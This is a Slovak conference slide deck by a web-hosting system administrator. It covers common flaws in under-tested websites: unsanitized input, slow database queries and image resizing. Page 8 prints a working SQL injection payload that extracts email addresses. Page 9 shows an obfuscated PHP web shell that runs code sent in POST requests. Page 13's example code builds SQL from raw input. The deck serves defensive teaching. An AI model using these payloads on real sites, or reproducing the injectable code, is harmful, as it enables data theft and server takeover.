14
Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby. Ján Muráň Od 2009 Yegon s.r.o → Webglobe s.r.o. Systém administrátor

Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Embed Size (px)

Citation preview

Page 1: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby.

Ján Muráň

Od 2009 Yegon s.r.o → Webglobe s.r.o.

Systém administrátor

Page 2: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Obsah

● Nedotestované weby

● Najčastejšie chyby

● Príklady a riešenia najčastejších chýb

● Otázky

Page 3: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ochrana dát webu- zabezpečiť prístup k dátam ftp – geoip

- zabezpečenie vstupov, GET, POST, upload

- ošetrenie prístupových práv adresárom a súborom

Page 4: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ochrana prostredia, v ktorom beží web- spolupráca s webhostingovým providerom, (bezpečnostné moduly, cache, jail, mod_chroot)

- zdielaný hosting vs privátne riešenia na mieru (cloud, serverhousing)

Page 5: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ošetriť vplyvy na výkon

- analýza webu z pohľadu spotreby výkonu

- výber HW prostredia na ktorom bude bežať web (zdielaný hosting, serverhousing, cloud)

Page 6: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie
Page 7: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Najčastejšie chyby

● Neošetrenie vstupov

● Nesprávne napísané query databáz

● Zlá štruktúra databáz

● Online resize obrázkov

Page 8: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Príklady a riešenia najčastejších chýb

Neošetrený vstup

GET,POST

domena.tld/index.php?id=511111111111111111111111111%27%20UNION%20SELECT%201,2,3,4,CONCAT%28CHAR%28100,100,100%29,CHAR%2891,88,93%29,GROUP_CONCAT%28t.email%29,CHAR%2891,88,88,93%29%29,6,7,8%20FROM%20%28SELECT%20email%20FROM%20table.%60mail%60%20WHERE%20%60email%60%20LIKE%20char%2837,64,37%29%20LIMIT%20103440,20%29t%20%20%20%20limit%200,1%20--%20/*%20order%20by%20%27as

select * from articles,categories WHERE categories.id= articles.id_category and articles.id = '2811111111111111111111111111' UNION SELECT 1,2,3,4,CONCAT(CHAR(100,100,100),CHAR(91,88,93),GROUP_CONCAT(t.email),CHAR(91,88,88,93)),6,7,8 FROM (SELECT email FROM table.`mail` WHERE `email` LIKE char(37,64,37) LIMIT 810954,20)t limit 0,1 -- /* order by 'as' and publish_date > '0000-00-00'

Page 9: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Príklady a riešenia najčastejších chýb

Neošetrený vstup

UPLOAD

error.php,db.php, info.php....<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['ncdd94a'])) {eval($s21(${$s20}['ncdd94a']));}

eval(base64_decode($_POST['ncdd94a']));

Page 10: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Nesprávne napísané query databáz

● Nepoužívanie indexov

● Nesprávne join query# Time: 141110 6:43:16

# User@Host: db[host] @ localhost []

# Query_time: 12.797832 Lock_time: 0.001288 Rows_sent: 57709 Rows_examined: 955021

Page 11: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Nesprávne napísané query databáz

● Where like '%text%'menšie tabuľky - fulltext – ove vyhľadávanie

väčšie tabuľky – vyhľadávacie enginy (elasticsearch)

Page 12: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Nesprávne napísané query databáz

Select * FROM wordmatch WHERE word_id IN ('1', '2', '3', '4', '7', '10', '11', '13', '14', '16', '17', '18', '19', '20', '21', '23', '24', '28',...................... '9942', '9962', '9967', '9987', '10007', '10009', '10011', '10012', '10021', '10052', '10064', '10070', '10073', '10077', '10085', '10093', '10123', '10143', '10152', '10189', '10190', '10209', '10219', '10252', '10267', '10286', '10309', '10316', '10318', '10337', '10344', '10355', '10359', '10364', '10379', '10384', '10385', '10393', '10396', '10431', '10439', '10459', '10460', '10538', '10572', '10576', '10593', '10616', '10620', '10627', '10638', '10646', '10660', '10669', '10674', '10700', '10715', '10719', '10728', '10744', '10834', '10835', '10840', '10881', '10886', '10888', '10899', '10917', '10920', '10921', '10992', '11012', '11014', '11048', '11067', '11084', '11085', '11105', '11139', '11198', '11310', '11324', '11389', '11402', '11420', '11422', '11423', '11443', '11455', '11481', '11649', '11665', '11695', '11774', '11784', '11810', '11811', '11812', '11813', '11816', '11818', '11821', '11822', '11825', '11827', '11828', '11858', '11864', '11892', '11919', '11941', '11961', '11968', '12003', '12013', '12088', '12111', '12143', '12325', '12329', '12332', '12339', '12343', '12344', '12400', '12488', '12496', '12504', '12506', '12522', '12589', '12601', '12609', '12709', '12733', '12750', '12762', '12765', '12785', '12806', '12824', '12847', '12848', '12849', '12944', '13037', '13332', '13401', '13505', '13565', '13789', '13807', '13840', '13910', '13914', '13929', '13930', '13964', '14011', '14099', '14168', '14249', '14266', '14294', '14295', '14380', '14410', '14418', '14508', '14674', '14819', '15045', '15365', '15417', '15532', '15559', '16384', '16451', '16516', '16789');

BETWEEN min AND max;

Page 13: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Príklad online resize

- obrázky uložene len v jednej veľkosti

- prístup cez image.php?img=671&size=small

Select * from images where id='{$img}'

$image

$im = new imagick(„path“.$image['name']);

$im->resizeImage(50,50,1,0);

header("Content-Type: image/jpeg");

$thumbnail = $im->getImageBlob();

echo $thumbnail;

Page 14: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Ďakujem za pozornosť!

Toto je priestor na Vaše otázky...

[email protected]